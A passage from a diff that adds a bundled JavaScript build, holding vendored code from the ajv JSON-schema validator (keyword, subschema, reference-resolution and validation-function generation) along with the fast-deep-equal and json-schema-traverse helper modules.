codegen_1.nil, + errSchemaPath: `${it.errSchemaPath}/${keyword}`, + topSchemaRef: schemaRef, + compositeRule: true + }, valid); + cxt.pass(valid, () => cxt.error(true)); + } + exports.macroKeywordCode = macroKeywordCode; + function funcKeywordCode(cxt, def) { + var _a3; + const { gen, keyword, schema, parentSchema, $data, it } = cxt; + checkAsyncKeyword(it, def); + const validate = !$data && def.compile ? def.compile.call(it.self, schema, parentSchema, it) : def.validate; + const validateRef = useKeyword(gen, keyword, validate); + const valid = gen.let("valid"); + cxt.block$data(valid, validateKeyword); + cxt.ok((_a3 = def.valid) !== null && _a3 !== void 0 ? _a3 : valid); + function validateKeyword() { + if (def.errors === false) { + assignValid(); + if (def.modifying) + modifyData(cxt); + reportErrs(() => cxt.error()); + } else { + const ruleErrs = def.async ? validateAsync() : validateSync(); + if (def.modifying) + modifyData(cxt); + reportErrs(() => addErrs(cxt, ruleErrs)); + } + } + function validateAsync() { + const ruleErrs = gen.let("ruleErrs", null); + gen.try(() => assignValid((0, codegen_1._)`await `), (e) => gen.assign(valid, false).if((0, codegen_1._)`${e} instanceof ${it.ValidationError}`, () => gen.assign(ruleErrs, (0, codegen_1._)`${e}.errors`), () => gen.throw(e))); + return ruleErrs; + } + function validateSync() { + const validateErrs = (0, codegen_1._)`${validateRef}.errors`; + gen.assign(validateErrs, null); + assignValid(codegen_1.nil); + return validateErrs; + } + function assignValid(_await = def.async ? (0, codegen_1._)`await ` : codegen_1.nil) { + const passCxt = it.opts.passContext ? names_1.default.this : names_1.default.self; + const passSchema = !("compile" in def && !$data || def.schema === false); + gen.assign(valid, (0, codegen_1._)`${_await}${(0, code_1.callValidateCode)(cxt, validateRef, passCxt, passSchema)}`, def.modifying); + } + function reportErrs(errors) { + var _a4; + gen.if((0, codegen_1.not)((_a4 = def.valid) !== null && _a4 !== void 0 ? _a4 : valid), errors); + } + } + exports.funcKeywordCode = funcKeywordCode; + function modifyData(cxt) { + const { gen, data, it } = cxt; + gen.if(it.parentData, () => gen.assign(data, (0, codegen_1._)`${it.parentData}[${it.parentDataProperty}]`)); + } + function addErrs(cxt, errs) { + const { gen } = cxt; + gen.if((0, codegen_1._)`Array.isArray(${errs})`, () => { + gen.assign(names_1.default.vErrors, (0, codegen_1._)`${names_1.default.vErrors} === null ? ${errs} : ${names_1.default.vErrors}.concat(${errs})`).assign(names_1.default.errors, (0, codegen_1._)`${names_1.default.vErrors}.length`); + (0, errors_1.extendErrors)(cxt); + }, () => cxt.error()); + } + function checkAsyncKeyword({ schemaEnv }, def) { + if (def.async && !schemaEnv.$async) + throw new Error("async keyword in sync schema"); + } + function useKeyword(gen, keyword, result) { + if (result === void 0) + throw new Error(`keyword "${keyword}" failed to compile`); + return gen.scopeValue("keyword", typeof result == "function" ? { ref: result } : { ref: result, code: (0, codegen_1.stringify)(result) }); + } + function validSchemaType(schema, schemaType, allowUndefined = false) { + return !schemaType.length || schemaType.some((st) => st === "array" ? Array.isArray(schema) : st === "object" ? schema && typeof schema == "object" && !Array.isArray(schema) : typeof schema == st || allowUndefined && typeof schema == "undefined"); + } + exports.validSchemaType = validSchemaType; + function validateKeywordUsage({ schema, opts, self: self2, errSchemaPath }, def, keyword) { + if (Array.isArray(def.keyword) ? !def.keyword.includes(keyword) : def.keyword !== keyword) { + throw new Error("ajv implementation error"); + } + const deps = def.dependencies; + if (deps === null || deps === void 0 ? void 0 : deps.some((kwd) => !Object.prototype.hasOwnProperty.call(schema, kwd))) { + throw new Error(`parent schema must have dependencies of ${keyword}: ${deps.join(",")}`); + } + if (def.validateSchema) { + const valid = def.validateSchema(schema[keyword]); + if (!valid) { + const msg = `keyword "${keyword}" value is invalid at path "${errSchemaPath}": ` + self2.errorsText(def.validateSchema.errors); + if (opts.validateSchema === "log") + self2.logger.error(msg); + else + throw new Error(msg); + } + } + } + exports.validateKeywordUsage = validateKeywordUsage; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/validate/subschema.js +var require_subschema = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/validate/subschema.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.extendSubschemaMode = exports.extendSubschemaData = exports.getSubschema = void 0; + var codegen_1 = require_codegen(); + var util_1 = require_util(); + function getSubschema(it, { keyword, schemaProp, schema, schemaPath, errSchemaPath, topSchemaRef }) { + if (keyword !== void 0 && schema !== void 0) { + throw new Error('both "keyword" and "schema" passed, only one allowed'); + } + if (keyword !== void 0) { + const sch = it.schema[keyword]; + return schemaProp === void 0 ? { + schema: sch, + schemaPath: (0, codegen_1._)`${it.schemaPath}${(0, codegen_1.getProperty)(keyword)}`, + errSchemaPath: `${it.errSchemaPath}/${keyword}` + } : { + schema: sch[schemaProp], + schemaPath: (0, codegen_1._)`${it.schemaPath}${(0, codegen_1.getProperty)(keyword)}${(0, codegen_1.getProperty)(schemaProp)}`, + errSchemaPath: `${it.errSchemaPath}/${keyword}/${(0, util_1.escapeFragment)(schemaProp)}` + }; + } + if (schema !== void 0) { + if (schemaPath === void 0 || errSchemaPath === void 0 || topSchemaRef === void 0) { + throw new Error('"schemaPath", "errSchemaPath" and "topSchemaRef" are required with "schema"'); + } + return { + schema, + schemaPath, + topSchemaRef, + errSchemaPath + }; + } + throw new Error('either "keyword" or "schema" must be passed'); + } + exports.getSubschema = getSubschema; + function extendSubschemaData(subschema, it, { dataProp, dataPropType: dpType, data, dataTypes, propertyName }) { + if (data !== void 0 && dataProp !== void 0) { + throw new Error('both "data" and "dataProp" passed, only one allowed'); + } + const { gen } = it; + if (dataProp !== void 0) { + const { errorPath, dataPathArr, opts } = it; + const nextData = gen.let("data", (0, codegen_1._)`${it.data}${(0, codegen_1.getProperty)(dataProp)}`, true); + dataContextProps(nextData); + subschema.errorPath = (0, codegen_1.str)`${errorPath}${(0, util_1.getErrorPath)(dataProp, dpType, opts.jsPropertySyntax)}`; + subschema.parentDataProperty = (0, codegen_1._)`${dataProp}`; + subschema.dataPathArr = [...dataPathArr, subschema.parentDataProperty]; + } + if (data !== void 0) { + const nextData = data instanceof codegen_1.Name ? data : gen.let("data", data, true); + dataContextProps(nextData); + if (propertyName !== void 0) + subschema.propertyName = propertyName; + } + if (dataTypes) + subschema.dataTypes = dataTypes; + function dataContextProps(_nextData) { + subschema.data = _nextData; + subschema.dataLevel = it.dataLevel + 1; + subschema.dataTypes = []; + it.definedProperties = /* @__PURE__ */ new Set(); + subschema.parentData = it.data; + subschema.dataNames = [...it.dataNames, _nextData]; + } + } + exports.extendSubschemaData = extendSubschemaData; + function extendSubschemaMode(subschema, { jtdDiscriminator, jtdMetadata, compositeRule, createErrors, allErrors }) { + if (compositeRule !== void 0) + subschema.compositeRule = compositeRule; + if (createErrors !== void 0) + subschema.createErrors = createErrors; + if (allErrors !== void 0) + subschema.allErrors = allErrors; + subschema.jtdDiscriminator = jtdDiscriminator; + subschema.jtdMetadata = jtdMetadata; + } + exports.extendSubschemaMode = extendSubschemaMode; + } +}); + +// node_modules/.pnpm/fast-deep-equal@3.1.3/node_modules/fast-deep-equal/index.js +var require_fast_deep_equal = __commonJS({ + "node_modules/.pnpm/fast-deep-equal@3.1.3/node_modules/fast-deep-equal/index.js"(exports, module) { + "use strict"; + module.exports = function equal(a, b2) { + if (a === b2) return true; + if (a && b2 && typeof a == "object" && typeof b2 == "object") { + if (a.constructor !== b2.constructor) return false; + var length, i, keys; + if (Array.isArray(a)) { + length = a.length; + if (length != b2.length) return false; + for (i = length; i-- !== 0; ) + if (!equal(a[i], b2[i])) return false; + return true; + } + if (a.constructor === RegExp) return a.source === b2.source && a.flags === b2.flags; + if (a.valueOf !== Object.prototype.valueOf) return a.valueOf() === b2.valueOf(); + if (a.toString !== Object.prototype.toString) return a.toString() === b2.toString(); + keys = Object.keys(a); + length = keys.length; + if (length !== Object.keys(b2).length) return false; + for (i = length; i-- !== 0; ) + if (!Object.prototype.hasOwnProperty.call(b2, keys[i])) return false; + for (i = length; i-- !== 0; ) { + var key = keys[i]; + if (!equal(a[key], b2[key])) return false; + } + return true; + } + return a !== a && b2 !== b2; + }; + } +}); + +// node_modules/.pnpm/json-schema-traverse@1.0.0/node_modules/json-schema-traverse/index.js +var require_json_schema_traverse = __commonJS({ + "node_modules/.pnpm/json-schema-traverse@1.0.0/node_modules/json-schema-traverse/index.js"(exports, module) { + "use strict"; + var traverse = module.exports = function(schema, opts, cb) { + if (typeof opts == "function") { + cb = opts; + opts = {}; + } + cb = opts.cb || cb; + var pre = typeof cb == "function" ? cb : cb.pre || function() { + }; + var post = cb.post || function() { + }; + _traverse(opts, pre, post, schema, "", schema); + }; + traverse.keywords = { + additionalItems: true, + items: true, + contains: true, + additionalProperties: true, + propertyNames: true, + not: true, + if: true, + then: true, + else: true + }; + traverse.arrayKeywords = { + items: true, + allOf: true, + anyOf: true, + oneOf: true + }; + traverse.propsKeywords = { + $defs: true, + definitions: true, + properties: true, + patternProperties: true, + dependencies: true + }; + traverse.skipKeywords = { + default: true, + enum: true, + const: true, + required: true, + maximum: true, + minimum: true, + exclusiveMaximum: true, + exclusiveMinimum: true, + multipleOf: true, + maxLength: true, + minLength: true, + pattern: true, + format: true, + maxItems: true, + minItems: true, + uniqueItems: true, + maxProperties: true, + minProperties: true + }; + function _traverse(opts, pre, post, schema, jsonPtr, rootSchema, parentJsonPtr, parentKeyword, parentSchema, keyIndex) { + if (schema && typeof schema == "object" && !Array.isArray(schema)) { + pre(schema, jsonPtr, rootSchema, parentJsonPtr, parentKeyword, parentSchema, keyIndex); + for (var key in schema) { + var sch = schema[key]; + if (Array.isArray(sch)) { + if (key in traverse.arrayKeywords) { + for (var i = 0; i < sch.length; i++) + _traverse(opts, pre, post, sch[i], jsonPtr + "/" + key + "/" + i, rootSchema, jsonPtr, key, schema, i); + } + } else if (key in traverse.propsKeywords) { + if (sch && typeof sch == "object") { + for (var prop in sch) + _traverse(opts, pre, post, sch[prop], jsonPtr + "/" + key + "/" + escapeJsonPtr(prop), rootSchema, jsonPtr, key, schema, prop); + } + } else if (key in traverse.keywords || opts.allKeys && !(key in traverse.skipKeywords)) { + _traverse(opts, pre, post, sch, jsonPtr + "/" + key, rootSchema, jsonPtr, key, schema); + } + } + post(schema, jsonPtr, rootSchema, parentJsonPtr, parentKeyword, parentSchema, keyIndex); + } + } + function escapeJsonPtr(str) { + return str.replace(/~/g, "~0").replace(/\//g, "~1"); + } + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/resolve.js +var require_resolve = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/resolve.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.getSchemaRefs = exports.resolveUrl = exports.normalizeId = exports._getFullPath = exports.getFullPath = exports.inlineRef = void 0; + var util_1 = require_util(); + var equal = require_fast_deep_equal(); + var traverse = require_json_schema_traverse(); + var SIMPLE_INLINED = /* @__PURE__ */ new Set([ + "type", + "format", + "pattern", + "maxLength", + "minLength", + "maxProperties", + "minProperties", + "maxItems", + "minItems", + "maximum", + "minimum", + "uniqueItems", + "multipleOf", + "required", + "enum", + "const" + ]); + function inlineRef(schema, limit = true) { + if (typeof schema == "boolean") + return true; + if (limit === true) + return !hasRef(schema); + if (!limit) + return false; + return countKeys(schema) <= limit; + } + exports.inlineRef = inlineRef; + var REF_KEYWORDS = /* @__PURE__ */ new Set([ + "$ref", + "$recursiveRef", + "$recursiveAnchor", + "$dynamicRef", + "$dynamicAnchor" + ]); + function hasRef(schema) { + for (const key in schema) { + if (REF_KEYWORDS.has(key)) + return true; + const sch = schema[key]; + if (Array.isArray(sch) && sch.some(hasRef)) + return true; + if (typeof sch == "object" && hasRef(sch)) + return true; + } + return false; + } + function countKeys(schema) { + let count = 0; + for (const key in schema) { + if (key === "$ref") + return Infinity; + count++; + if (SIMPLE_INLINED.has(key)) + continue; + if (typeof schema[key] == "object") { + (0, util_1.eachItem)(schema[key], (sch) => count += countKeys(sch)); + } + if (count === Infinity) + return Infinity; + } + return count; + } + function getFullPath(resolver, id = "", normalize) { + if (normalize !== false) + id = normalizeId(id); + const p = resolver.parse(id); + return _getFullPath(resolver, p); + } + exports.getFullPath = getFullPath; + function _getFullPath(resolver, p) { + const serialized = resolver.serialize(p); + return serialized.split("#")[0] + "#"; + } + exports._getFullPath = _getFullPath; + var TRAILING_SLASH_HASH = /#\/?$/; + function normalizeId(id) { + return id ? id.replace(TRAILING_SLASH_HASH, "") : ""; + } + exports.normalizeId = normalizeId; + function resolveUrl(resolver, baseId, id) { + id = normalizeId(id); + return resolver.resolve(baseId, id); + } + exports.resolveUrl = resolveUrl; + var ANCHOR = /^[a-z_][-a-z0-9._]*$/i; + function getSchemaRefs(schema, baseId) { + if (typeof schema == "boolean") + return {}; + const { schemaId, uriResolver } = this.opts; + const schId = normalizeId(schema[schemaId] || baseId); + const baseIds = { "": schId }; + const pathPrefix = getFullPath(uriResolver, schId, false); + const localRefs = {}; + const schemaRefs = /* @__PURE__ */ new Set(); + traverse(schema, { allKeys: true }, (sch, jsonPtr, _, parentJsonPtr) => { + if (parentJsonPtr === void 0) + return; + const fullPath = pathPrefix + jsonPtr; + let innerBaseId = baseIds[parentJsonPtr]; + if (typeof sch[schemaId] == "string") + innerBaseId = addRef.call(this, sch[schemaId]); + addAnchor.call(this, sch.$anchor); + addAnchor.call(this, sch.$dynamicAnchor); + baseIds[jsonPtr] = innerBaseId; + function addRef(ref) { + const _resolve = this.opts.uriResolver.resolve; + ref = normalizeId(innerBaseId ? _resolve(innerBaseId, ref) : ref); + if (schemaRefs.has(ref)) + throw ambiguos(ref); + schemaRefs.add(ref); + let schOrRef = this.refs[ref]; + if (typeof schOrRef == "string") + schOrRef = this.refs[schOrRef]; + if (typeof schOrRef == "object") { + checkAmbiguosRef(sch, schOrRef.schema, ref); + } else if (ref !== normalizeId(fullPath)) { + if (ref[0] === "#") { + checkAmbiguosRef(sch, localRefs[ref], ref); + localRefs[ref] = sch; + } else { + this.refs[ref] = fullPath; + } + } + return ref; + } + function addAnchor(anchor) { + if (typeof anchor == "string") { + if (!ANCHOR.test(anchor)) + throw new Error(`invalid anchor "${anchor}"`); + addRef.call(this, `#${anchor}`); + } + } + }); + return localRefs; + function checkAmbiguosRef(sch1, sch2, ref) { + if (sch2 !== void 0 && !equal(sch1, sch2)) + throw ambiguos(ref); + } + function ambiguos(ref) { + return new Error(`reference "${ref}" resolves to more than one schema`); + } + } + exports.getSchemaRefs = getSchemaRefs; + } +}); + +// node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/validate/index.js +var require_validate = __commonJS({ + "node_modules/.pnpm/ajv@8.20.0/node_modules/ajv/dist/compile/validate/index.js"(exports) { + "use strict"; + Object.defineProperty(exports, "__esModule", { value: true }); + exports.getData = exports.KeywordCxt = exports.validateFunctionCode = void 0; + var boolSchema_1 = require_boolSchema(); + var dataType_1 = require_dataType(); + var applicability_1 = require_applicability(); + var dataType_2 = require_dataType(); + var defaults_1 = require_defaults(); + var keyword_1 = require_keyword(); + var subschema_1 = require_subschema(); + var codegen_1 = require_codegen(); + var names_1 = require_names(); + var resolve_1 = require_resolve(); + var util_1 = require_util(); + var errors_1 = require_errors3(); + function validateFunctionCode(it) { + if (isSchemaObj(it)) { + checkKeywords(it); + if (schemaCxtHasRules(it)) { + topSchemaObjCode(it); + return; + } + } + validateFunction(it, () => (0, boolSchema_1.topBoolOrEmptySchema)(it)); + } + exports.validateFunctionCode = validateFunctionCode; + function validateFunction({ gen, validateName, schema, schemaEnv, opts }, body) { + if (opts.code.es5) { + gen.func(validateName, (0, codegen_1._)`${names_1.default.data}, ${names_1.default.valCxt}`, schemaEnv.$async, () => { + gen.code((0, codegen_1._)`"use strict"; ${funcSourceUrl(schema, opts)}`); + destructureValCxtES5(gen, opts); + gen.code(body); + }); + } else { + gen.func(validateName, (0, codegen_1._)`${names_1.default.data}, ${destructureValCxt(opts)}`, schemaEnv.$async, () => gen.code(funcSourceUrl(schema, opts)).code(body)); + } + } + function destructureValCxt(opts) { + return (0, codegen_1._)`{${names_1.default.instancePath}="", ${names_1.default.parentData}, ${names_1.default.parentDataProperty}, ${names_1.default.rootData}=${names_1.default.data}${opts.dynamicRef ? (0, codegen_1._)`, ${names_1.default.dynamicAnchors}={}` : codegen_1.nil}}={}`; + } + function destructureValCxtES5(gen, opts) { + gen.if(names_1.default.valCxt, () => { + gen.var(names_1.default.instancePath, (0, codegen_1._)`${names_1.default.valCxt}.${names_1.default.instancePath}`); + gen.var(names_1.default.parentData, (0, codegen_1._)`${names_1.default.valCxt}.${names_1.default.parentData}`); + gen.var(names_1.default.parentDataProperty, (0, codegen_1._)`${names_1.default.valCxt}.${names_1.default.parentDataProperty}`); + gen.var(names_1.default.rootData, (0, codegen_1._)`${names_1.default.valCxt}.${names_1.default.rootData}`); + if (opts.dynamicRef) + gen.var(names_1.default.dynamicAnchors, (0, codegen_1._)`${names_1.default.valCxt}.${names_1.default.dynamicAnchors}`); + }, () => { + gen.var(names_1.default.instancePath, (0, codegen_1._)`""`); + gen.var(names_1.default.parentData, (0, codegen_1._)`undefined`); + gen.var(names_1.default.parentDataProperty, (0, codegen_1._)`undefined`); + gen.var(names_1.default.rootData, names_1.default.data); + if (opts.dynamicRef) + gen.var(names_1.default.dynamicAnchors, (0, codegen_1._)`{}`); + }); + } + function topSchemaObjCode(it) { + const { schema, opts, gen } = it; + validateFunction(it, () => { + if (opts.$comment && schema.$comment) + commentKeyword(it); + checkNoDefault(it); + gen.let(names_1.default.vErrors, null); + gen.let(names_1.default.errors, 0); + if (opts.unevaluated) + resetEvaluated(it); + typeAndKeywords(it); + returnResults(it); + }); + return; + } + function resetEvaluated(it) { + const { gen, validateName } = it; + it.evaluated = gen.const("evaluated", (0, codegen_1._)`${validateName}.evaluated`); + gen.if((0, codegen_1._)`${it.evaluated}.dynamicProps`, () => gen.assign((0, codegen_1._)`${it.evaluated}.props`, (0, codegen_1._)`undefined`)); + gen.if((0, codegen_1._)`${it.evaluated}.dynamicItems`, () => gen.assign((0, codegen_1._)`${it.evaluated}.items`, (0, codegen_1._)`undefined`)); + } + function funcSourceUrl(schema, opts) { + const schId = typeof schema == "object" && schema[opts.schemaId]; + return schId && (opts.code.source || opts.code.process) ? (0, codegen_1._)`/*# sourceURL=${schId} */` : codegen_1.nil; + } + function subschemaCode(it, valid) { + if (isSchemaObj(it)) { + checkKeywords(it); + if (schemaCxtHasRules(it)) { + subSchemaObjCode(it, valid); + return; + } + } + (0, boolSchema_1.boolOrEmptySchema)(it, valid); + } + function schemaCxtHasRules({ schema, self: self2 }) { + if (typeof schema == "boolean") + return !schema; + for (const key in schema) + if (self2.RULES.all[key]) + return true; + return false; + } + function isSchemaObj(it) { + return typeof it.schema != "boolean"; + } + function subSchemaObjCode(it, valid) { + const { schema, gen, opts } = it; + if (opts.$comment && schema.$comment) + commentKeyword(it); + updateContext(it); + checkAsyncSchema(it); + const errsCount = gen.const("_errs", names_1.default.errors); + typeAndKeywords(it, errsCount); + gen.var(valid, (0, codegen_1._)`${errsCount} === ${names_1.default.errors}`); + } + function checkKeywords(it) { + (0, util_1.checkUnknownRules)(it); + checkRefsAndKeywords(it); + } + function typeAndKeywords(it, errsCount) { + if (it.opts.jtd) + return schemaKeywords(it, [], false, errsCount); + const types2 = (0, dataType_1.getSchemaTypes)(it.schema); + const checkedTypes = (0, dataType_1.coerceAndCheckDataType)(it, types2); + schemaKeywords(it, types2, !checkedTypes, errsCount); + } + function checkRefsAndKeywords(it) { + const { schema, errSchemaPath, opts, self: self2 } = it; + if (schema.$ref && opts.ignoreKeywordsWithRef && (0, util_1.schemaHasRulesButRef)(schema, self2.RULES)) { + self2.logger.warn(`$ref: keywords ignored in schema at path "${errSchemaPath}"`); + } + } + function checkNoDefault(it) { + const { schema, opts } = it; + if (schema.default !== void 0 && opts.useDefaults && opts.strictSchema) { + (0, util_1.checkStrictMode)(it, "default is ignored in the schema root"); + } + } + function updateContext(it) { + const schId = it.schema[it.opts.schemaId]; + if (schId) + it.baseId = (0, resolve_1.resolveUrl)(it.opts.uriResolver, it.baseId, schId); + } + function checkAsyncSchema(it) { + if (it.schema.$async && !it.schemaEnv.$async) + throw new Error("async schema in sync schema"); + } + function commentKeyword({ gen, schemaEnv, schema, errSchemaPath, opts }) { + const msg = schema.$comment; + if (opts.$comment === true) { + gen.code((0, codegen_1._)`${names_1.default.self}.logger.log(${msg})`); + } else if (typeof opts.$comment == "function") { + const schemaPath = (0, codegen_1.str)`${errSchemaPath}/$comment`; + const rootName = gen.scopeValue("root", { ref: schemaEnv.root }); + gen.code((0, codegen_1._)`${names_1.default.self}.opts.$comment(${msg}, ${schemaPath}, ${rootName}.schema)`); + } + } + function returnResults(it) { + const { gen, schemaEnv, validateName, ValidationError, opts } = it; + if (schemaEnv.$async) { + gen.if((0, codegen_1._)`${names_1.default.errors} === 0`, () => gen.return(names_1.default.data), () => gen.throw((0, codegen_1._)`new ${ValidationError}(${names_1.default.vErrors})`)); + } else { + gen.assign((0, codegen_1._)`${validateName}.errors`, names_1.default.vErrors); + if (opts.unevaluated) + assignEvaluated(it); + gen.return((0, codegen_1._)`${names_1.default.errors} === 0`); + } + } + function assignEvaluated({ gen, evaluated, props, items }) { + if (props instanceof codegen_1.Name) + gen.assign((0, codegen_1._)`${evaluated}.props`, props); + if (items instanceof codegen_1.Name) + gen.assign((0, codegen_1._)`${evaluated}.items`, items); + } + function schemaKeywords(it, types2, typeErrors, errsCount) { + const { gen, schema, data, allErrors, opts, self: self2 } = it; + const { RULES } = self2; + if (schema.$ref && (opts.ignoreKeywordsWithRef || !(0, util_1.schemaHasRulesButRef)(schema, RULES))) { + gen.block(() => keywordCode(it, "$ref", RULES.all.$ref.definition)); + return; + } + if (!opts.jtd) + checkStrictTypes(it, types2); + gen.block(() => { + for (const group of RULES.rules) + groupKeywords(group); + groupKeywords(RULES.post); + }); + function groupKeywords(group) { + if (!(0, applicability_1.shouldUseGroup)(schema, group)) + return; + if (group.type) { + gen.if((0, dataType_2.checkDataType)(group.type, data, opts.strictNumbers)); + iterateKeywords(it, group); + if (types2.length === 1 && types2[0] === group.type && typeErrors) { + gen.else(); + (0, dataType_2.reportTypeError)(it); + } + gen.endIf(); + } else { + iterateKeywords(it, group); + } + if (!allErrors) + gen.if((0, codegen_1._)`${names_1.default.errors} === ${errsCount || 0}`); + } + } + function iterateKeywords(it, group) { + const { gen, schema, opts: { useDefaults } } = it; + if (useDefaults) + (0, defaults_1.assignDefaults)(it, group.type); + gen.block(() => { + for (const rule of group.rules) { + if ((0, applicability_1.shouldUseRule)(schema, rule)) { + keywordCode(it, rule.keyword, rule.definition, group.type); + } + } + }); + } + function checkStrictTypes(it, types2) { + if (it.schemaEnv.meta || !it.opts.strictTypes) + return; + checkContextTypes(it, types2); + if (!it.opts.allowUnionTypes) + checkMultipleTypes(it, types2); + checkKeywordTypes(it, it.dataTypes); + } + function checkContextTypes(it, types2) { + if (!types2.length) + return; + if (!it.dataTypes.length) { + it.dataTypes = types2; + return; + } + types2.forEach((t) => { + if (!includesType(it.dataTypes, t)) { + strictTypesError(it, `type "${t}" not allowed by context "${it.dataTypes.join(",")}"`); + } + }); + narrowSchemaTypes(it, types2); + } + function checkMultipleTypes(it, ts) { + if (ts.length > 1 && !(ts.length === 2 && ts.includes("null"))) { + strictTypesError(it, "use allowUnionTypes to allow union type keyword"); + } + } + function checkKeywordTypes(it, ts) { + const rules = it.self.RULES.all; + for (const keyword in rules) { + const rule = rules[keyword]; + if (typeof rule == "object" && (0, applicability_1.shouldUseRule)(it.schema, rule)) { + const { type } = rule.definition; + if (type.length && !type.some((t) => hasApplicableType(ts, t))) { + strictTypesError(it, `missing type "${type.join(",")}" for keyword "${keyword}"`); + } + } + } + } + function hasApplicableType(schTs, kwdT) { + return schTs.includes(kwdT) || kwdT === "number" && schTs.includes("integer"); + } + function includesType(ts, t) { + return ts.includes(t) || t === "integer" && ts.includes("number"); + } + function narrowSchemaTypes(it, withTypes) { + const ts = []; + for (const t of it.dataTypes) { + if (includesType(withTypes, t)) + ts.push(t); + else if (withTypes.includes("integer") && t === "number") + ts.push("integer"); + } + it.dataTypes = ts; + } + function strictTypesError(it, msg) { + const schemaPath = it.schemaEnv.baseId + it.errSchemaPath; + msg += ` at "${schemaPath}" (strictTypes)`; + (0, util_1.checkStrictMode)(it, msg, it.opts.strictTypes); + } + var KeywordCxt = class { + constructor(it, def, keyword) { + (0, keyword_1.validateKeywordUsage)(it, def, keyword); + this.gen = it.gen; + this.allErrors = it.allErrors; + this.keyword = keyword; + this.data = it.data; + this.schema = it.schema[keyword]; + this.$data = def.$data && it.opts.$data && this.schema && this.schema.$data; + this.schemaValue = (0, util_1.schemaRefOrVal)(it, this.schema, keyword, this.$data); + this.schemaType = def.schemaType; + this.parentSchema = it.schema; + this.params = {}; + this.it = it; + this.def = def; + if (this.$data) { + this.schemaCode = it.gen.const("vSchema", getData(this.$data, it)); + } else { + this.schemaCode = this.schemaValue; + if (!(0, keyword_1.validSchemaType)(this.schema, def.schemaType, def.allowUndefined)) { + throw new Error(`${keyword} value must be ${JSON.stringify(def.schemaType)}`); + } + } + if ("code" in def ? def.trackErrors : def.errors !== false) { + this.errsCount = it.gen.const("_errs", names_1.default.errors); + } + } + result(condition, successAction, failAction) { + this.failResult((0, codegen_1.not)(condition), successAction, failAction); + } + failResult(condition, successAction, failAction) { + this.gen.if(condition); + if (failAction) + failAction(); + else + this.error(); + if (successAction) { + this.gen.else(); + successAction(); + if (this.allErrors) + this.gen.endIf(); + } else { + if (this.allErrors) + this.gen.endIf(); + else + this.gen.else(); + } + } + pass(condition, failAction) { + this.failResult((0, codegen_1.not)(condition), void 0, failAction); + } + fail(condition) { + if (condition === void 0) { + this.error(); + if (!this.allErrors) + this.gen.if(false); + return; + } + this.gen.if(condition); + this.error(); + if (this.allErrors) + this.gen.endIf(); + else + this.gen.else(); + } + fail$data(condition) { + if (!this.$data) + return this.fail(condition); + const { schemaCode } = this; + this.fail((0, codegen_1._)`${schemaCode} !== undefined && (${(0, codegen_1.or)(this.invalid$data(), condition)})`); + } + error(append, errorParams, errorPaths) { + if (errorParams) { + this.setParams(errorParams); + this._error(append, errorPaths); + this.setParams({}); + return; + } + this._error(append, errorPaths); + } + _error(append, errorPaths) { + ; + (append ? errors_1.reportExtraError : errors_1.reportError)(this, this.def.error, errorPaths); + } + $dataError() { + (0, errors_1.reportError)(this, this.def.$dataError || errors_1.keyword$DataError); + } + reset() { + if (this.errsCount === void 0) + throw new Error('add "trackErrors" to keyword definition'); + (0, errors_1.resetErrorsCount)(this.gen, this.errsCount); + } + ok(cond) { + if (!this.allErrors) + this.gen.if(cond); + } + setParams(obj, assign) { + if (assign) + Object.assign(this.params, obj); + else + this.params = obj; + } + block$data(valid, codeBlock, $dataValid = codegen_1.nil) { + this.gen.block(() => { + this.check$data(valid, $dataValid); + codeBlock(); + }); + } + check$data(valid = codegen_1.nil, $dataValid = codegen_1.nil) { + if (!this.$data) + return; + const { gen, schemaCode, schemaType, def } = this; + gen.if((0, codegen_1.or)((0, codegen_1._)`${schemaCode} === undefined`, $dataValid)); + if (valid !== codegen_1.nil) + gen.assign(valid, true); + if (schemaType.length || def.validateSchema) { + gen.elseIf(this.invalid$data()); + this.$dataError(); + if (valid !== codegen_1.nil) + gen.assign(valid, false); + } + gen.else(); + } + invalid$data() { + const { gen, schemaCode, schemaType, def, it } = this; + return (0, codegen_1.or)(wrong$DataType(), invalid$DataSchema()); + function wrong$DataType() { + if (schemaType.length) { + if (!(schemaCode instanceof codegen_1.Name)) + throw new Error("ajv implementation error"); + const st = Array.isArray(schemaType) ? schemaType : [schemaType]; + return (0, codegen_1._)`${(0, dataType_2.checkDataTypes)(st, schemaCode, it.opts.strictNumbers, dataType_2.DataType.Wrong)}`; + } + return codegen_1.nil; + } + function invalid$DataSchema() { + if (def.validateSchema) { + const validateSchemaRef = gen.scopeValue("validate$data", { ref: def.validateSchema }); + return (0, codegen_1._)`!${validateSchemaRef}(${schemaCode})`; + } + return codegen_1.nil; + } + } + subschema(appl, valid) { + const subschema = (0, subschema_1.getSubschema)(this.it, appl); + (0, subschema_1.extendSubschemaData)(subschema, this.it, appl); + (0, subschema_1.extendSubschemaMode)(subschema, appl); + const nextContext = { ...this.it, ...subschema, items: void 0, props: void 0 }; + subschemaCode(nextContext, valid); + return nextContext; + } + mergeEvaluated(schemaCxt, toName) { + const { it, gen } = this; + if (!it.opts.unevaluated) + return; + if (it.props !== true && schemaCxt.props !== void 0) { + it.props = util_1.mergeEvaluated.props(gen, schemaCxt.props, it.props, toName); + } + if (it.items !== true && schemaCxt.items !== void 0) { + it.items = util_1.mergeEvaluated.items(gen, schemaCxt.items, it.items, toName); + } + } + mergeValidEvaluated(schemaCxt, valid) { + const { it, gen } = this; + if (it.opts.unevaluated && (it.props !== true || it.items !== true)) { + gen.if(valid, () => this.mergeEvaluated(schemaCxt, codegen_1.Name)); + return true; + } + } + }; + exports.KeywordCxt = KeywordCxt; + function keywordCode(it, keyword, def, ruleType) { + const cxt = new KeywordCxt(it, def, keyword); + if ("code" in def) { + def.code(cxt, ruleType); + } else if (cxt.$data && def.validate) { + (0, keyword_1.funcKeywordCode)(cxt, def); + } else if ("macro" in def) { + (0, keyword_1.macroKeywordCode)(cxt, def); + } else if (def.compile || def.validate) { + (0, keyword_1.funcKeywordCode)(cxt, def); + } + } + var JSON_POINTER = /^\/(?:[^~]|~0|~1)*$/; + var RELATIVE_JSON_POINTER = 